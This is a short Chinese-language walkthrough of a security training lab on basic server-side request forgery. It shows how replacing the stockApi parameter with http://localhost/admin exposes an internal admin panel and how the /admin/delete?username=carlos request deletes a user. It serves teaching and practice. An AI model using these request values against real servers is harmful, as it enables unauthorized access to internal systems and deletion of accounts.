> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/basic-ssrf-against-local-server.md).
# 针对本地服务器的基础 SSRF
### 针对本地服务器的基本 SSRF
此实验提供了一个库存校验功能，它会向内部服务发起请求。 / 目标是修改此检查所使用的 URL，以访问位于……上的管理界面 `HTTP://localhost/admin` 然后删除该用户 **carlos**.
#### **分析与利用**
该 **stockApi** 参数会向一个内部 URL 发送查询请求：
```bash
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
```
通过拦截请求，可以将此 URL 替换为本地目标。 / 服务器正确处理了以下值：
```javascript
stockApi=http://localhost/admin
```
这使得可以显示管理界面。
#### **删除用户**
在管理界面的 HTML 代码中，我们观察到用于删除用户的参数：
```
/admin/delete?username=carlos
```
---
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